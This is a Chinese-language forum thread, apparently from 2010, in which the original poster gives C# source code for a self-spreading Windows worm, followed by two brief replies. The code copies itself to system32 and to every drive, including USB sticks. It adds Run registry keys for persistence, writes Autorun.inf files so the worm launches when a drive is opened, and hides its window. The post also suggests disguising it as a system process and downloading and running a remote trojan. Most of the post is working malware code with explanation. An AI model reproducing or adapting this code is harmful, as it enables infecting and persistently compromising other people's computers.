100%

不曾拥有
江湖大侠
江湖大侠
  • UID153
  • 注册日期2010-08-06
  • 最后登录2012-10-27
  • 粉丝0
  • 关注0
  • 发帖数329
  • 个人主页
  • 来自
  • QQ
  • 生日0-0-0
  • 家乡
  • 铜币0枚
  • 威望1768点
  • 银元0个
阅读:1671回复:2

菜鸟也来写病毒

楼主#
更多 发布于:2010-08-06 23:04
菜鸟也来写病毒0


文章作者:菲哥哥

《前言》
最近喜欢上了病毒,经过学习前人的经验加上自己的一些想法,终于写出了一个简单的小病毒.
                                          《实现过程》
   本人不才只能用c#来写这个小病毒,c#需要.Net Framework的支持,虽然不适合写病毒,但是我写的只是思路和自己的实践过程希望对大家有帮助。对于病毒的传播就利用自动播放功能传播进行传播,   病毒的特点:
   1.把自身复制到系统目录下;
   2.把自身复制到系统各个盘符下和添加注册表启动项;
   3.向各个盘符写入Autorun.inf文件 ;
                            
   接下来的工作就是编写了,然后在将自身复制到每个盘符的根目录包括u盘和系统文件夹下,而且定时对磁盘进行扫描如果发现病毒体文件被删除,就会从新生成,我们用timer控件进行定时扫描,时间不要设置的太小,不然会消耗很多cpu资源,我把 1.把自身复制到系统目录下;2. 把本身复制到系统各个盘符下和添加注册表启动项;3.复制Autorun.inf文件到各个系统盘符下;这些实现功能的代码都封装在一个方法里面,在timer控件里调用这个方法实现定时扫描。
  方法代码:
          public void scan()
            {
                //保存数组元素值
                string sing;
                //保存盘符
               string drive;
                //保存病毒体保存盘符路径
                string tou;
                //用数组保存盘符字母
                string[] sum = new string[] { "A", "C","D", "B", "E", "G", "F", "H", "I", "J", "K",                 "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
                //保存盘符字母

              
                for (int i = 0; i < sum.Length; i++)//用循环遍历磁盘
                {
                     sing=sum; //保存数组下标值
                     string system1 = string.Format("{0}:\\WINDOWS\\system32\\fei.exe",sing);
                     string system2 = string.Format("{0}:\\WINDOWS\\system32", sing);
                     drive = string.Format("{0}:\\", sing);//保存盘符
                     tou = string.Format("{0}:\\fei.exe", sing);  //病毒体保存盘符路径

                    if(Directory.Exists(system2))
                    {
                     if (File.Exists(system1) == false)
                     {
                         //string file = Application.ExecutablePath;//获取当前运行文件的路径
                         File.Copy(file, system1, true);  //复制病毒体到各个盘符下
                         RegistryKey ss = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                         ss.SetValue("fei", system1);//添加启动项
                         Process.Start(system1);//打开病毒体
                     }
                    }
                    //向各个盘符写入Autorun.inf文件
                     if (Directory.Exists(drive))//判断盘符是否存在。
                    {
                        string dd;
                        dd = string.Format("{0}Autorun.inf", drive);
                        if (File.Exists(dd) == false)
                        {
                            FileStream fs = new FileStream(string.Format("{0}Autorun.inf", drive, true), FileMode.Create);
                            StreamWriter sw = new StreamWriter(fs);
                            sw.WriteLine("[AUTORUN]");
                            sw.WriteLine("OPEN=fei.exe");
                            sw.WriteLine("shell\\open=打开");
                            sw.WriteLine("shell\\open\\Command=fei.exe");
                            sw.WriteLine("shell\\open\\Default=1");
                            sw.WriteLine("shell\\explore=资源管理器");
                            sw.WriteLine("shell\\explore\\Command=fei.exe");
                            sw.Close();
                            fs.Close();
                          
                        }
                        if (File.Exists(tou)==false )//判断病毒体是否存在
                        {
                            File.Copy(file, tou,true);  //复制病毒体到各个盘符下
                            RegistryKey cc = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            cc.SetValue(drive, tou);//添加启动项
                            Process.Start(tou);//打开病毒体
                            
                        }

                        
                    }
                  
                    
                  
                  
                }
            
            }
  第一步把自身复制到系统目录下我们就要知道系统在那个盘符里面,大部分人都会把系统装在C盘,但是也有个别的人不会把系统装在C盘;所以我们要判断下系统装在哪个盘符,代码如下:
  for (int i = 0; i < sum.Length; i++)//用循环遍历磁盘
                {
                     sing=sum; //保存数组下标值
                     string system1 = string.Format("{0}:\\WINDOWS\\system32\\fei.exe",sing);
                     string system2 = string.Format("{0}:\\WINDOWS\\system32", sing);
                     drive = string.Format("{0}:\\", sing);//保存盘符
                     tou = string.Format("{0}:\\fei.exe", sing);  //病毒体保存盘符路径

                    if(Directory.Exists(system2))//判断文件夹是否存在
                    {
                     if (File.Exists(system1) == false)//判断病毒体本身是否存在
                     {
                         File.Copy(file, system1, true);  //复制病毒体到各个盘符下
                         RegistryKey ss = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                         ss.SetValue("fei", system1);//添加注册表启动项
                         Process.Start(system1);//打开病毒体
                     }
                    }
  第一步我用一个数组保存A-Z 用于表示盘符,  用 for (int i = 0; i < sum.Length; i++) 遍历数组,然后把病毒的那4个特点的实现代码都写到这个for里,首先判断if(Directory.Exists(system2))判断文件夹是否存在,if (File.Exists(system1) == false)//判断病毒体本身是否存在然后把自身复制到系统文件夹下,“string file =Application.ExecutablePath ”。 Application.ExecutablePath用于获得当前运行程序的路径 。
  第二步复制自身到系统各个盘符下并且加载随机启动项代码如下:

                        if (File.Exists(tou)==false )//判断病毒体是否存在
                        {
                            File.Copy(file, tou,true);  //复制病毒体到各个盘符下
                            RegistryKey cc = Registry.LocalMachine.OpenSubKey                            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            cc.SetValue(drive, tou);//添加启动项
                            Process.Start(tou);//打开病毒体
                            
                        }
这样就实现了复制病毒体本身倒系统各个盘符下,我们的病毒体就能随着机器的启动而启动了,大家可以吧程序的名称改成类似系统的进程,增加迷惑性。
                
第三步向各个盘符写入Autorun.inf文件代码如下:
  if (Directory.Exists(drive))//判断盘符是否存在。
                    {
                        string dd;
                        dd = string.Format("{0}Autorun.inf", drive);
                        if (File.Exists(dd) == false)//判断Autorun.inf文件是否存在
                        {
                            FileStream fs = new FileStream(string.Format("{0}Autorun.inf", drive,                             true), FileMode.Create);
                            StreamWriter sw = new StreamWriter(fs);
                            sw.WriteLine("[AUTORUN]");
                            sw.WriteLine("OPEN=fei.exe");
                            sw.WriteLine("shell\\open=打开");
                            sw.WriteLine("shell\\open\\Command=fei.exe");
                            sw.WriteLine("shell\\open\\Default=1");
                            sw.WriteLine("shell\\explore=资源管理器");
                            sw.WriteLine("shell\\explore\\Command=fei.exe");
                            sw.Close();
                            fs.Close();
                          
                        }
   FileStream类用于文件的读写,用这个类写一个Autorun.inf文件到各个盘符的根目录,用于在双击U盘或者电脑上每个盘符的时候打开病毒体。
   方法编写完成,我们只要在Load事件里调用这个方法就可以了,4.下载远程服务器程序自动运行,我们也写在load事件里
   Load事件代码如下:
            窗体透明
            this.Opacity = 0;
            任务栏不显示
            this.ShowInTaskbar = false;
            
  
    既然我们的是病毒在运行的时候当然不能让人看“this.Opacity = 0”设置窗体为透明的,“this.ShowInTaskbar = false;”设置在任务栏不显示 ,运行下试试,病毒体也成功复制到各个盘符下,系统目录也同样有一个fei.exe。测试成功,fei.exe 和 ini文件已经有了 如图1.2:
                                                        《扩展》
  我写这个小病毒程序没有什么实质性的作用只是用于研究,大家可以用WebClient类中的DownloadFile()方法下载远程服务器上的远程文件然后用Process.Start("D:\\test.txt")方法运行下载下来的文件,这个文件可以是个木马哦。呵呵。。我只是介绍下病毒的一些基本特性,希望大家可以更好的防毒工作,


不曾拥有
江湖大侠
江湖大侠
  • UID153
  • 注册日期2010-08-06
  • 最后登录2012-10-27
  • 粉丝0
  • 关注0
  • 发帖数329
  • 个人主页
  • 来自
  • QQ
  • 生日0-0-0
  • 家乡
  • 铜币0枚
  • 威望1768点
  • 银元0个
沙发#
发布于:2010-08-06 23:31
 [/time]
01471550
论坛版主
论坛版主
  • UID100
  • 注册日期2010-07-21
  • 最后登录2013-08-19
  • 粉丝0
  • 关注0
  • 发帖数810
  • 个人主页
  • 来自河南省 信阳市
  • QQ
  • 生日0-0-0
  • 家乡河南省 信阳市
  • 铜币16枚
  • 威望8597点
  • 银元17个
板凳#
发布于:2010-08-09 22:13
真邪恶!我搞过肉机也没这么高调。。。。
该会员没有填写今日想说内容.
游客

返回顶部